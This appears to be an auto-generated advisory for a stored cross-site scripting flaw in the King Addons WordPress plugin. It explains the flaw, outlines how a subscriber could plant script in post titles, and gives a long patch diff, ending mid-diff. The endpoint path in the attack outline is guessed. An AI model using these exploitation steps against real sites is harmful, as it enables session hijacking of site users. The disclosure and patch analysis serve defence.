Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 22, 2026

CVE-2026-48870: King Addons for Elementor – 80+ Elementor Widgets, 4 000+ Elementor Templates, WooCommerce, Mega Menu, Popup Builder <= 51.1.62 Authenticated (Subscriber+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin king-addons
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 51.1.62
Patched Version 51.1.63
Disclosed June 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-48870:

This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the King Addons for Elementor plugin, affecting versions up to and including 51.1.62. The issue lies in the Ajax_Select2_API.php file, where insufficient input sanitization and output escaping allow authenticated attackers with subscriber-level access or higher to inject arbitrary web scripts. The scripts execute when a user accesses an injected page, with a CVSS score of 6.4.

Root Cause: The primary root cause is the lack of input sanitization and output escaping in the Ajax_Select2_API.php file. In the vulnerable code, the ‘getPostsByPostType’ function at line 109 passes user-supplied post titles directly to the response without sanitization via ‘html_entity_decode(get_the_title())’. The patched version adds ‘wp_strip_all_tags()’ to strip all HTML tags from the title output. Additionally, the ‘callback’ function at line 39 blindly calls ‘return $this->{$request[‘action’]}($request);’ without validating that the action is an allowed method. The action parameter is not constrained to a whitelist, enabling attackers to call arbitrary class methods if they can reach this endpoint. The patch introduces a private constant ‘ALLOWED_ACTIONS’ (line 16) and checks both ‘in_array($action, self::ALLOWED_ACTIONS, true)’ and ‘is_callable([$this, $action])’ at lines 65-68 to prevent method invocation outside the allowed set.

Exploitation: An authenticated attacker with subscriber-level access can exploit this by crafting a request to the Ajax_Select2 API endpoint. The attacker sends a GET request to the WordPress REST API route registered by the plugin (likely under ‘/wp-json/king-addons/v1/select2/’ or similar). The attacker supplies an ‘action’ parameter set to a valid allowed action (e.g., ‘getPostsByPostType’) and a ‘query_slug’ parameter to select a post type. The ‘s’ parameter can contain XSS payloads, but the patch also sanitizes this with ‘sanitize_text_field()’. The key injection point is the unsanitized post title in the response, where ‘html_entity_decode(get_the_title())’ could include embedded HTML/JavaScript. By creating or modifying a post with a malicious title containing a script payload (e.g., ‘alert(1)’), the attacker ensures that when any user triggers the Ajax_Select2 endpoint to retrieve posts, the injected script renders in the browser context.

Patch Analysis: The fix encompasses multiple security improvements. First, the ‘canAccess’ method (line 43) replaces ‘__return_true’ and enforces a capability check (‘current_user_can(‘edit_posts’)’) combined with a whitelist of allowed actions via ‘in_array($action, $allowed_actions, true)’. Second, the ‘callback’ method (line 57) now validates the action against ‘ALLOWED_ACTIONS’ and checks ‘is_callable’ before invocation, returning an error for invalid actions. Third, output escaping is added by wrapping all user-facing text fields in ‘wp_strip_all_tags()’ to remove HTML/script tags from post titles, taxonomy labels, user display names, and custom meta keys. Fourth, input parameters like ‘query_slug’, ‘s’, and ‘ids’ are sanitized using ‘sanitize_key()’, ‘sanitize_text_field()’, and ‘intval()’ respectively. Additionally, ‘getPostsByPostType’ (line 90) and other helper functions add ‘sanitize_text_field()’ to search fields and validate post type with ‘sanitize_key()’. These changes collectively prevent XSS injection through stored data and block unauthorized method calls.

Impact: Successful exploitation allows an authenticated subscriber (or higher) to inject arbitrary HTML and JavaScript into pages viewed by other users, including administrators. This can lead to session hijacking, credential theft, defacement, redirection to malicious sites, or further privilege escalation by executing actions on behalf of higher-privilege users. The stored XSS persists in the database, affecting all users who access the vulnerable Ajax endpoint.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/king-addons/includes/admin/layouts/dashboard-v3/dashboard-v3.php
+++ b/king-addons/includes/admin/layouts/dashboard-v3/dashboard-v3.php
@@ -219,7 +219,7 @@
         </div>
         <div class="ka-v3-tip-content">
             <strong><?php esc_html_e('Smart Loading', 'king-addons'); ?></strong>
-            <span><?php esc_html_e('Assets load only when a widget, feature, or extension is used on a page. Disabling items here completely removes their backend code (PHP) from loading, making your site even faster.', 'king-addons'); ?></span>
+            <span><?php esc_html_e('Assets are already loaded only when a widget, feature, or extension is used on a page. Disabling items here completely hides them from Elementor and the dashboard, helping keep your workspace cleaner and your site faster.', 'king-addons'); ?></span>
         </div>
     </div>
         </div>
@@ -239,7 +239,7 @@
                     <?php esc_html_e('Auto', 'king-addons'); ?>
                 </button>
             </div>
-            <a href="https://www.youtube.com/@kingaddons" target="_blank" class="ka-v3-btn ka-v3-btn-secondary">
+            <a href="https://www.youtube.com/@kingaddons/videos" target="_blank" class="ka-v3-btn ka-v3-btn-secondary">
                 <span class="dashicons dashicons-book"></span>
                 <?php esc_html_e('Guides', 'king-addons'); ?>
             </a>
--- a/king-addons/includes/admin/layouts/settings-page.php
+++ b/king-addons/includes/admin/layouts/settings-page.php
@@ -116,7 +116,7 @@
                     <?php esc_html_e('Auto', 'king-addons'); ?>
                 </button>
             </div>
-            <a href="https://www.youtube.com/@kingaddons" target="_blank" class="ka-btn ka-btn-secondary">
+            <a href="https://www.youtube.com/@kingaddons/videos" target="_blank" class="ka-btn ka-btn-secondary">
                 <span class="dashicons dashicons-book"></span>
                 <?php esc_html_e('Guides', 'king-addons'); ?>
             </a>
--- a/king-addons/includes/controls/Ajax_Select2/Ajax_Select2_API.php
+++ b/king-addons/includes/controls/Ajax_Select2/Ajax_Select2_API.php
@@ -12,6 +12,16 @@

 class Ajax_Select2_API
 {
+    private const ALLOWED_ACTIONS = [
+        'getElementorTemplates',
+        'getPostsByPostType',
+        'getPostTypeTaxonomies',
+        'getCustomMetaKeys',
+        'getUsers',
+        'getTaxonomies',
+        'getCustomMetaKeysProduct',
+    ];
+
     public function __construct()
     {
         $this->init();
@@ -26,15 +36,29 @@
                 [
                     'methods' => 'GET',
                     'callback' => [$this, 'callback'],
-                    'permission_callback' => '__return_true'
+                    'permission_callback' => [$this, 'canAccess'],
                 ]
             );
         });
     }

+    public function canAccess($request): bool
+    {
+        $action = sanitize_key((string)($request['action'] ?? ''));
+        $allowed_actions = array_map('sanitize_key', self::ALLOWED_ACTIONS);
+
+        return current_user_can('edit_posts') && in_array($action, $allowed_actions, true);
+    }
+
     public function callback($request)
     {
-        return $this->{$request['action']}($request);
+        $action = (string)($request['action'] ?? '');
+
+        if (!in_array($action, self::ALLOWED_ACTIONS, true) || !is_callable([$this, $action])) {
+            return new WP_Error('king_addons_invalid_ajaxselect2_action', esc_html__('Invalid request.', 'king-addons'), ['status' => 400]);
+        }
+
+        return $this->{$action}($request);
     }

     public function getElementorTemplates($request): ?array
@@ -60,7 +84,7 @@
         }

         if (isset($request['s'])) {
-            $args['s'] = $request['s'];
+            $args['s'] = sanitize_text_field((string)$request['s']);
         }

         $options = [];
@@ -71,7 +95,7 @@
                 $the_query->the_post();
                 $options[] = [
                     'id' => get_the_ID(),
-                    'text' => html_entity_decode(get_the_title()),
+                    'text' => wp_strip_all_tags(html_entity_decode(get_the_title())),
                 ];
             }
         }
@@ -85,7 +109,7 @@
     {
         if (!current_user_can('edit_posts')) return null;

-        $post_type = $request['query_slug'] ?? '';
+        $post_type = sanitize_key((string)($request['query_slug'] ?? ''));

         $args = [
             'post_type' => $post_type,
@@ -94,11 +118,11 @@
         ];

         if (isset($request['ids'])) {
-            $args['post__in'] = explode(',', $request['ids']);
+            $args['post__in'] = array_filter(array_map('intval', explode(',', (string)$request['ids'])));
         }

         if (isset($request['s'])) {
-            $args['s'] = $request['s'];
+            $args['s'] = sanitize_text_field((string)$request['s']);
         }

         $query = new WP_Query($args);
@@ -109,7 +133,7 @@
                 $query->the_post();
                 $options[] = [
                     'id' => get_the_ID(),
-                    'text' => html_entity_decode(get_the_title()),
+                    'text' => wp_strip_all_tags(html_entity_decode(get_the_title())),
                 ];
             }
         }
@@ -122,7 +146,7 @@
     {
         if (!current_user_can('edit_posts')) return null;

-        $post_type = $request['query_slug'] ?? '';
+        $post_type = sanitize_key((string)($request['query_slug'] ?? ''));

         $taxonomies = get_object_taxonomies($post_type, 'objects');
         $options = [];
@@ -130,12 +154,12 @@
         if ($taxonomies) {
             foreach ($taxonomies as $taxonomy) {

-                if (isset($request['s']) && stripos($taxonomy->label, $request['s']) === false) {
+                if (isset($request['s']) && stripos($taxonomy->label, sanitize_text_field((string)$request['s'])) === false) {
                     continue;
                 }

                 if (isset($request['ids'])) {
-                    $ids = explode(',', $request['ids'] ?: '99999999');
+                    $ids = array_map('sanitize_key', explode(',', (string)($request['ids'] ?: '99999999')));
                     if (!in_array($taxonomy->name, $ids)) {
                         continue;
                     }
@@ -143,7 +167,7 @@

                 $options[] = [
                     'id' => $taxonomy->name,
-                    'text' => $taxonomy->label,
+                    'text' => wp_strip_all_tags($taxonomy->label),
                 ];
             }
         }
@@ -178,10 +202,10 @@
         );

         $filtered = array_filter($mergedKeys, function ($key) use ($request) {
-            return !isset($request['s']) || strpos($key, $request['s']) !== false;
+            return !isset($request['s']) || strpos($key, sanitize_text_field((string)$request['s'])) !== false;
         });

-        $options = array_map(fn($k) => ['id' => $k, 'text' => $k], $filtered);
+        $options = array_map(fn($k) => ['id' => $k, 'text' => wp_strip_all_tags($k)], $filtered);

         return ['results' => $options];
     }
@@ -200,13 +224,13 @@
         }

         if (!empty($request['s'])) {
-            $args['search'] = '*' . $request['s'] . '*';
+            $args['search'] = '*' . sanitize_text_field((string)$request['s']) . '*';
         }

         $results = (new WP_User_Query($args))->get_results();

         $options = array_map(
-            fn($user) => ['id' => $user->ID, 'text' => $user->display_name],
+            fn($user) => ['id' => $user->ID, 'text' => wp_strip_all_tags($user->display_name)],
             $results ?: []
         );

@@ -219,7 +243,7 @@
     {
         if (!current_user_can('edit_posts')) return null;

-        $tax = $request['query_slug'] ?? '';
+        $tax = sanitize_key((string)($request['query_slug'] ?? ''));
         $args = [
             'orderby' => 'name',
             'order' => 'DESC',
@@ -228,18 +252,22 @@
         ];

         if (isset($request['ids'])) {
-            $args['include'] = explode(',', $request['ids'] ?: '99999999');
+            $args['include'] = array_filter(array_map('intval', explode(',', (string)($request['ids'] ?: '99999999'))));
         }

         if (!empty($request['s'])) {
-            $args['name__like'] = $request['s'];
+            $args['name__like'] = sanitize_text_field((string)$request['s']);
         }

         $terms = get_terms($tax, $args);
+        if (is_wp_error($terms)) {
+            return ['results' => []];
+        }
+
         $options = array_map(function ($term) {
             return [
                 'id' => $term->term_id,
-                'text' => $term->name,
+                'text' => wp_strip_all_tags($term->name),
             ];
         }, $terms);

@@ -272,10 +300,10 @@

         $merged_meta_keys = array_values(array_unique($merged_meta_keys));
         foreach ($merged_meta_keys as $key) {
-            if (empty($request['s']) || false !== strpos($key, $request['s'])) {
+            if (empty($request['s']) || false !== strpos($key, sanitize_text_field((string)$request['s']))) {
                 $options[] = [
                     'id' => $key,
-                    'text' => $key,
+                    'text' => wp_strip_all_tags($key),
                 ];
             }
         }
@@ -310,7 +338,7 @@
         foreach (array_keys($product_attributes) as $attribute_name) {
             $options[] = [
                 'id' => $attribute_name,
-                'text' => $attribute_name,
+                'text' => wp_strip_all_tags($attribute_name),
             ];
         }

--- a/king-addons/includes/extensions/AI_SEO_Tools/Auto_Tagging_Module.php
+++ b/king-addons/includes/extensions/AI_SEO_Tools/Auto_Tagging_Module.php
@@ -87,8 +87,9 @@
         ]);
     }

-    public function add_tagging_column(array $columns): array
+    public function add_tagging_column($columns): array
     {
+        $columns = is_array($columns) ? $columns : [];
         $new_columns = [];
         foreach ($columns as $key => $title) {
             if ($key === 'date') {
@@ -110,6 +111,11 @@
             return;
         }

+        if (!current_user_can('edit_post', $post_id)) {
+            echo '—';
+            return;
+        }
+
         $tags = wp_get_post_tags($post_id, ['fields' => 'names']);

         echo '<div class="king-addons-ai-seo-tag-status" data-post-id="' . esc_attr((string) $post_id) . '">';
@@ -148,30 +154,30 @@
     {
         check_ajax_referer('king_addons_ai_seo_clear_single_tags_nonce', 'nonce');

-        if (!current_user_can('edit_posts')) {
-            wp_send_json_error(['message' => esc_html__('Permission denied.', 'king-addons')], 403);
-        }
-
         $post_id = isset($_POST['post_id']) ? absint($_POST['post_id']) : 0;
         if (!$post_id || !get_post($post_id)) {
             wp_send_json_error(['message' => esc_html__('Invalid post ID.', 'king-addons')], 400);
         }

+        if (!current_user_can('edit_post', $post_id)) {
+            wp_send_json_error(['message' => esc_html__('Permission denied.', 'king-addons')], 403);
+        }
+
         wp_set_post_tags($post_id, [], false);
         wp_send_json_success(['message' => esc_html__('Tags removed.', 'king-addons')]);
     }

     private function handle_single_tags_request(string $mode): void
     {
-        if (!current_user_can('edit_posts')) {
-            wp_send_json_error(['message' => esc_html__('Permission denied.', 'king-addons')], 403);
-        }
-
         $post_id = isset($_POST['post_id']) ? absint($_POST['post_id']) : 0;
         if (!$post_id || !get_post($post_id)) {
             wp_send_json_error(['message' => esc_html__('Invalid post ID.', 'king-addons')], 400);
         }

+        if (!current_user_can('edit_post', $post_id)) {
+            wp_send_json_error(['message' => esc_html__('Permission denied.', 'king-addons')], 403);
+        }
+
         $replace = $mode === 'regenerate';
         $append = $mode === 'append';

--- a/king-addons/includes/extensions/Docs_KB/Docs_KB.php
+++ b/king-addons/includes/extensions/Docs_KB/Docs_KB.php
@@ -556,9 +556,8 @@
             $args['tax_query'] = [['taxonomy' => self::TAXONOMY, 'field' => 'term_id', 'terms' => $cat]];
         }

-        // Pro: hide internal docs from non-logged-in
-        if ($this->is_premium() && !empty($this->options['internal_docs_enabled']) && !is_user_logged_in()) {
-            $args['meta_query'] = [['key' => '_kng_doc_visibility', 'value' => 'public']];
+        if ($this->should_limit_to_public_docs()) {
+            $args['meta_query'] = $this->get_public_docs_meta_query();
         }

         $wp = new WP_Query($args);
@@ -592,13 +591,35 @@

     public function rest_get_categories(): WP_REST_Response
     {
-        $cats = get_terms([
+        $args = [
             'taxonomy'   => self::TAXONOMY,
             'hide_empty' => true,
             'orderby'    => 'meta_value_num',
             'meta_key'   => 'kng_doc_cat_order',
             'order'      => 'ASC',
-        ]);
+        ];
+
+        if ($this->should_limit_to_public_docs()) {
+            $public_doc_ids = get_posts([
+                'post_type'      => self::POST_TYPE,
+                'post_status'    => 'publish',
+                'fields'         => 'ids',
+                'posts_per_page' => -1,
+                'meta_query'     => $this->get_public_docs_meta_query(),
+            ]);
+
+            if (empty($public_doc_ids)) {
+                return new WP_REST_Response([], 200);
+            }
+
+            $args['object_ids'] = $public_doc_ids;
+        }
+
+        $cats = get_terms($args);
+
+        if (is_wp_error($cats)) {
+            return new WP_REST_Response([], 200);
+        }

         $out = [];
         foreach ($cats as $c) {
@@ -619,16 +640,22 @@

     public function rest_get_category_articles(WP_REST_Request $request): WP_REST_Response
     {
-        $cat_id = $request->get_param('id');
+        $cat_id = absint($request->get_param('id'));

-        $wp = new WP_Query([
+        $args = [
             'post_type'      => self::POST_TYPE,
             'post_status'    => 'publish',
             'posts_per_page' => -1,
             'tax_query'      => [['taxonomy' => self::TAXONOMY, 'field' => 'term_id', 'terms' => $cat_id]],
             'orderby'        => 'menu_order title',
             'order'          => 'ASC',
-        ]);
+        ];
+
+        if ($this->should_limit_to_public_docs()) {
+            $args['meta_query'] = $this->get_public_docs_meta_query();
+        }
+
+        $wp = new WP_Query($args);

         $out = [];
         foreach ($wp->posts as $p) {
@@ -643,6 +670,27 @@
         return new WP_REST_Response($out, 200);
     }

+    private function should_limit_to_public_docs(): bool
+    {
+        if (!$this->is_premium() || empty($this->options['internal_docs_enabled'])) {
+            return false;
+        }
+
+        if (!is_user_logged_in()) {
+            return true;
+        }
+
+        $user = wp_get_current_user();
+        $allowed_roles = array_map('sanitize_key', (array)($this->options['internal_docs_roles'] ?? ['administrator']));
+
+        return empty(array_intersect($allowed_roles, (array)$user->roles));
+    }
+
+    private function get_public_docs_meta_query(): array
+    {
+        return [['key' => '_kng_doc_visibility', 'value' => 'public']];
+    }
+
     /* ═══════════════════════════════════════════
        REACTIONS (AJAX)
        ═══════════════════════════════════════════ */
--- a/king-addons/includes/extensions/Live_Chat/Live_Chat.php
+++ b/king-addons/includes/extensions/Live_Chat/Live_Chat.php
@@ -646,38 +646,45 @@
         register_rest_route(self::API_NAMESPACE, '/support/conversation/init', [
             'methods' => 'POST',
             'callback' => [$this, 'rest_init_conversation'],
-            'permission_callback' => '__return_true',
+            'permission_callback' => [$this, 'can_access_public_rest'],
         ]);

         // Send message
         register_rest_route(self::API_NAMESPACE, '/support/message/send', [
             'methods' => 'POST',
             'callback' => [$this, 'rest_send_message'],
-            'permission_callback' => '__return_true',
+            'permission_callback' => [$this, 'can_access_public_rest'],
         ]);

         // Poll for new messages
         register_rest_route(self::API_NAMESPACE, '/support/messages/poll', [
             'methods' => 'GET',
             'callback' => [$this, 'rest_poll_messages'],
-            'permission_callback' => '__return_true',
+            'permission_callback' => [$this, 'can_access_public_rest'],
         ]);

         // Mark messages as read
         register_rest_route(self::API_NAMESPACE, '/support/messages/read', [
             'methods' => 'POST',
             'callback' => [$this, 'rest_mark_read'],
-            'permission_callback' => '__return_true',
+            'permission_callback' => [$this, 'can_access_public_rest'],
         ]);

         // Contact Form submission
         register_rest_route(self::API_NAMESPACE, '/support/contact', [
             'methods' => 'POST',
             'callback' => [$this, 'rest_submit_contact_form'],
-            'permission_callback' => '__return_true',
+            'permission_callback' => [$this, 'can_access_public_rest'],
         ]);
     }

+    public function can_access_public_rest(WP_REST_Request $request): bool
+    {
+        $nonce = $request->get_header('X-WP-Nonce');
+
+        return is_string($nonce) && wp_verify_nonce($nonce, 'wp_rest');
+    }
+
     /**
      * REST: Submit contact form (Contact Form mode).
      *
@@ -993,11 +1000,20 @@
         $table = $wpdb->prefix . self::TABLE_CONVERSATIONS;
         $messages_table = $wpdb->prefix . self::TABLE_MESSAGES;

-        // Verify and update
+        $conv = $wpdb->get_row($wpdb->prepare(
+            "SELECT id FROM $table WHERE id = %d AND visitor_id = %s",
+            $conversation_id,
+            $visitor_id
+        ));
+
+        if (!$conv) {
+            return new WP_REST_Response(['success' => false], 403);
+        }
+
         $updated = $wpdb->update(
             $table,
             ['unread_visitor' => 0],
-            ['id' => $conversation_id, 'visitor_id' => $visitor_id]
+            ['id' => $conversation_id]
         );

         // Mark admin messages as read
--- a/king-addons/includes/extensions/Pricing_Table_Builder/Pricing_Table_Builder.php
+++ b/king-addons/includes/extensions/Pricing_Table_Builder/Pricing_Table_Builder.php
@@ -619,13 +619,17 @@
         register_rest_route(self::API_NAMESPACE, '/pricing-table/list', [
             'methods' => 'GET',
             'callback' => [$this, 'rest_get_tables'],
-            'permission_callback' => '__return_true',
+            'permission_callback' => function () {
+                return current_user_can('manage_options');
+            },
         ]);

         register_rest_route(self::API_NAMESPACE, '/pricing-table/(?P<id>d+)', [
             'methods' => 'GET',
             'callback' => [$this, 'rest_get_table'],
-            'permission_callback' => '__return_true',
+            'permission_callback' => function () {
+                return current_user_can('manage_options');
+            },
         ]);
     }

@@ -685,6 +689,10 @@
             return new WP_REST_Response(['error' => 'Not found'], 404);
         }

+        if ($table->post_status !== 'publish' && !current_user_can('edit_post', $table_id)) {
+            return new WP_REST_Response(['error' => 'Not found'], 404);
+        }
+
         $config = get_post_meta($table_id, self::META_CONFIG, true);

         return new WP_REST_Response([
--- a/king-addons/includes/extensions/Templates/Templates.php
+++ b/king-addons/includes/extensions/Templates/Templates.php
@@ -148,7 +148,7 @@
                                 </div>
                             <?php endif; ?>
                             <div class="kng-nav-item kng-nav-item-current">
-                                    <a href="https://www.youtube.com/@kingaddons" target="_blank">
+                                    <a href="https://www.youtube.com/@kingaddons/videos" target="_blank">
                                         <div class="kng-nav-item-txt"><?php echo esc_html__('YouTube Guides', 'king-addons'); ?></div>
                                     </a>
                             </div>
--- a/king-addons/includes/extensions/Woo_Builder/Woo_Builder.php
+++ b/king-addons/includes/extensions/Woo_Builder/Woo_Builder.php
@@ -596,7 +596,7 @@
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $repeater->get_controls(),
                 'default' => $default_rules,
-                'title_field' => '{{{ rule_type }}}',
+                'title_field' => '{{ rule_type }}',
             ]
         );

--- a/king-addons/includes/extensions/alt-text-generator/Alt_Text_Generator.php
+++ b/king-addons/includes/extensions/alt-text-generator/Alt_Text_Generator.php
@@ -127,7 +127,8 @@
      * @param array $columns Existing columns.
      * @return array Modified columns.
      */
-    public function add_alt_text_column(array $columns): array {
+    public function add_alt_text_column($columns): array {
+        $columns = is_array($columns) ? $columns : array();
         // Add column before 'Date'.
         $new_columns = array();
         foreach ($columns as $key => $title) {
--- a/king-addons/includes/features/Animated_Gradient_Mesh_Background/Animated_Gradient_Mesh_Background.php
+++ b/king-addons/includes/features/Animated_Gradient_Mesh_Background/Animated_Gradient_Mesh_Background.php
@@ -826,7 +826,7 @@
                 'label' => esc_html__('Layer Presets', 'king-addons'),
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $repeater->get_controls(),
-                'title_field' => '{{{ preset }}}',
+                'title_field' => '{{ preset }}',
             ]
         );

--- a/king-addons/includes/features/Duplicator/Duplicator.php
+++ b/king-addons/includes/features/Duplicator/Duplicator.php
@@ -30,7 +30,7 @@

     public static function addDuplicatorActionLink($action, $post)
     {
-        if (current_user_can('edit_posts') && post_type_supports($post->post_type, 'elementor')) {
+        if (current_user_can('edit_post', $post->ID) && post_type_supports($post->post_type, 'elementor')) {

             /** @noinspection HtmlUnknownTarget */
             // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Already escaped
@@ -58,21 +58,17 @@
                 ),
                 admin_url('admin.php')
             ),
-            self::KNG_DUPLICATOR_ACTION
+            self::KNG_DUPLICATOR_ACTION . '_' . absint($post_id)
         );
     }

     public static function doDuplicateAction(): void
     {
-        if (!current_user_can('edit_posts')) {
-            return;
-        }
-
         /** @noinspection SpellCheckingInspection */
         $wp_nonce = isset($_GET['_wpnonce']) ? sanitize_text_field(wp_unslash($_GET['_wpnonce'])) : '';
         $post_id = isset($_GET['post_id']) ? absint($_GET['post_id']) : 0;

-        if (!wp_verify_nonce($wp_nonce, self::KNG_DUPLICATOR_ACTION)) {
+        if (!$post_id || !wp_verify_nonce($wp_nonce, self::KNG_DUPLICATOR_ACTION . '_' . $post_id)) {
             return;
         }

@@ -81,6 +77,10 @@
             return;
         }

+        if (!current_user_can('edit_post', $post_id) || !post_type_supports($post->post_type, 'elementor')) {
+            return;
+        }
+
         $post = sanitize_post($post, 'db');

         $duplicated_post_id = self::insertPost($post);
--- a/king-addons/includes/widgets/Accordion/Accordion.php
+++ b/king-addons/includes/widgets/Accordion/Accordion.php
@@ -209,7 +209,7 @@
                         'accordion_content' => esc_html__('Item content. Click the edit button to change this text.', 'king-addons'),
                     ]
                 ],
-                'title_field' => '{{{ accordion_title }}}',
+                'title_field' => '{{ accordion_title }}',
             ]
         );

--- a/king-addons/includes/widgets/Breadcrumbs/Breadcrumbs.php
+++ b/king-addons/includes/widgets/Breadcrumbs/Breadcrumbs.php
@@ -291,7 +291,7 @@
                 'label' => esc_html__('Custom Items', 'king-addons'),
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $repeater->get_controls(),
-                'title_field' => '{{{ kng_custom_label }}}',
+                'title_field' => '{{ kng_custom_label }}',
                 'condition' => [
                     'kng_use_custom_path' => 'yes',
                 ],
--- a/king-addons/includes/widgets/Charts/Charts.php
+++ b/king-addons/includes/widgets/Charts/Charts.php
@@ -539,7 +539,7 @@
                 ],

                 'fields' => $chart_repeater_labels->get_controls(),
-                'title_field' => '{{{ chart_data_label }}}',
+                'title_field' => '{{ chart_data_label }}',

             ]
         );
--- a/king-addons/includes/widgets/Comparison_Matrix_Cards/Comparison_Matrix_Cards.php
+++ b/king-addons/includes/widgets/Comparison_Matrix_Cards/Comparison_Matrix_Cards.php
@@ -637,7 +637,7 @@
                 'label' => $this->get_pro_label(esc_html__('Compare Attributes', 'king-addons')),
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $attributes->get_controls(),
-                'title_field' => '{{{ kng_woo_attr_slug }}}',
+                'title_field' => '{{ kng_woo_attr_slug }}',
                 'classes' => $this->get_pro_control_class(),
             ]
         );
@@ -796,7 +796,7 @@
                 'label' => esc_html__('Plans', 'king-addons'),
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $repeater->get_controls(),
-                'title_field' => '{{{ kng_plan_name }}}',
+                'title_field' => '{{ kng_plan_name }}',
                 'default' => [
                     [
                         'kng_plan_name' => esc_html__('Starter', 'king-addons'),
@@ -903,7 +903,7 @@
                 'label' => esc_html__('Feature Rows', 'king-addons'),
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $repeater->get_controls(),
-                'title_field' => '{{{ kng_feature_label }}}',
+                'title_field' => '{{ kng_feature_label }}',
                 'default' => [
                     [
                         'kng_feature_label' => esc_html__('Unlimited projects', 'king-addons'),
--- a/king-addons/includes/widgets/Data_Table/Data_Table.php
+++ b/king-addons/includes/widgets/Data_Table/Data_Table.php
@@ -520,7 +520,7 @@
                         'table_th' => esc_html__('TABLE HEADER 4', 'king-addons'),
                     ],
                 ],
-                'title_field' => '{{{ table_th }}}',
+                'title_field' => '{{ table_th }}',
             ]
         );

--- a/king-addons/includes/widgets/Feature_List/Feature_List.php
+++ b/king-addons/includes/widgets/Feature_List/Feature_List.php
@@ -564,7 +564,7 @@
                         ],
                     ],
                 ],
-                'title_field' => '{{{ king_addons_feature_list_list_title }}}',
+                'title_field' => '{{ king_addons_feature_list_list_title }}',
             ]
         );

--- a/king-addons/includes/widgets/Floating_Tags_Marquee/Floating_Tags_Marquee.php
+++ b/king-addons/includes/widgets/Floating_Tags_Marquee/Floating_Tags_Marquee.php
@@ -174,7 +174,7 @@
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $repeater->get_controls(),
                 'default' => $this->get_default_tags(),
-                'title_field' => '{{{ tag_text }}}',
+                'title_field' => '{{ tag_text }}',
             ]
         );

--- a/king-addons/includes/widgets/Form_Builder/Form_Builder.php
+++ b/king-addons/includes/widgets/Form_Builder/Form_Builder.php
@@ -1055,7 +1055,7 @@
                         'width' => '100',
                     ],
                 ],
-                'title_field' => '{{{ field_label }}}',
+                'title_field' => '{{ field_label }}',
             ]
         );

@@ -3311,7 +3311,7 @@

         $value = empty($item['field_value']) ? '' : $item['field_value'];

-        return '<textarea ' . $this->get_render_attribute_string('textarea' . $item_index) . '>' . $value . '</textarea>';
+        return '<textarea ' . $this->get_render_attribute_string('textarea' . $item_index) . '>' . esc_textarea($value) . '</textarea>';
     }

     protected function make_select_field($item, $i)
@@ -3432,7 +3432,7 @@
                     $this->add_required_attribute($element_id);
                 }

-                $html .= '<span class="king-addons-form-field-option" data-key="form-field-' . esc_attr($item['field_id']) . '"><input ' . $this->get_render_attribute_string($element_id) . '> <label for="' . esc_attr($html_id) . '">' . $option_label . '</label></span>';
+                $html .= '<span class="king-addons-form-field-option" data-key="form-field-' . esc_attr($item['field_id']) . '"><input ' . $this->get_render_attribute_string($element_id) . '> <label for="' . esc_attr($html_id) . '">' . esc_html($option_label) . '</label></span>';
             }
             $html .= '</div>';
         }
@@ -3655,7 +3655,7 @@
             <?php if (is_singular()) {

                 ?>
-                <input type="hidden" name="queried_id" value="<?php echo get_the_ID(); ?>"/>
+                <input type="hidden" name="queried_id" value="<?php echo esc_attr(get_the_ID()); ?>"/>
             <?php }

             $step_count1 = 0;
@@ -3674,16 +3674,16 @@
                     Icons_Manager::render_icon($value['step_icon'], ['aria-hidden' => 'true']);
                     $step_icon[] = ob_get_clean();

-                    $step_label[] = '<span class="king-addons-fb-step-main-label">' . $value['field_label'] . '</span>';
+                    $step_label[] = '<span class="king-addons-fb-step-main-label">' . esc_html($value['field_label']) . '</span>';

-                    $step_sub_label[] = '<span class="king-addons-fb-step-sub-label">' . $value['field_sub_label'] . '</span>';
+                    $step_sub_label[] = '<span class="king-addons-fb-step-sub-label">' . esc_html($value['field_sub_label']) . '</span>';
                 }
             }


             $step_wrap_class = 'yes' !== $instance['show_separator'] ? 'king-addons-fb-step-wrap king-addons-separator-off' : 'king-addons-fb-step-wrap';

-            echo '<div class="' . $step_wrap_class . '">';
+            echo '<div class="' . esc_attr($step_wrap_class) . '">';
             if ('progress_bar' == $instance['step_type']) {
                 echo '<div class="king-addons-fb-step-progress">';
                 echo '<div class="king-addons-fb-step-progress-fill"></div>';
@@ -3747,8 +3747,8 @@
                             echo '<div class="king-addons-fb-step-tab king-addons-fb-step-tab-hidden">';
                         } else {
                             echo '<div class="king-addons-step-buttons-wrap">';
-                            echo '<button type="button" class="king-addons-fb-step-prev">' . $item['previous_button_text'] . '</button>';
-                            echo '<button type="button" class="king-addons-fb-step-next">' . $item['next_button_text'] . '</button>';
+                            echo '<button type="button" class="king-addons-fb-step-prev">' . esc_html($item['previous_button_text']) . '</button>';
+                            echo '<button type="button" class="king-addons-fb-step-next">' . esc_html($item['next_button_text']) . '</button>';
                             echo '</div>';
                             echo '</div>';
                             echo '<div class="king-addons-fb-step-tab king-addons-fb-step-tab-hidden">';
@@ -3763,14 +3763,14 @@
                             ?>
                             <label <?php echo $this->get_render_attribute_string('label' . $item_index); ?>>
                                 <?php
-                                echo $item['field_label']; ?>
+                                echo esc_html($item['field_label']); ?>
                             </label>
                             <?php
                         }

                         switch ($item['field_type']) :
                             case 'html':
-                                echo do_shortcode($item['field_html']);
+                                echo wp_kses_post(do_shortcode($item['field_html']));
                                 break;
                             case 'textarea':

@@ -3788,7 +3788,7 @@
                                 echo $this->make_radio_checkbox_field($item, $item_index, $item['field_type']);
                                 break;
                             case 'recaptcha-v3':
-                                echo '<input type="hidden" id="g-recaptcha-response" name="g-recaptcha-response" data-site-key="' . get_option('king_addons_recaptcha_v3_site_key') . '" />';
+                                echo '<input type="hidden" id="g-recaptcha-response" name="g-recaptcha-response" data-site-key="' . esc_attr(get_option('king_addons_recaptcha_v3_site_key')) . '" />';
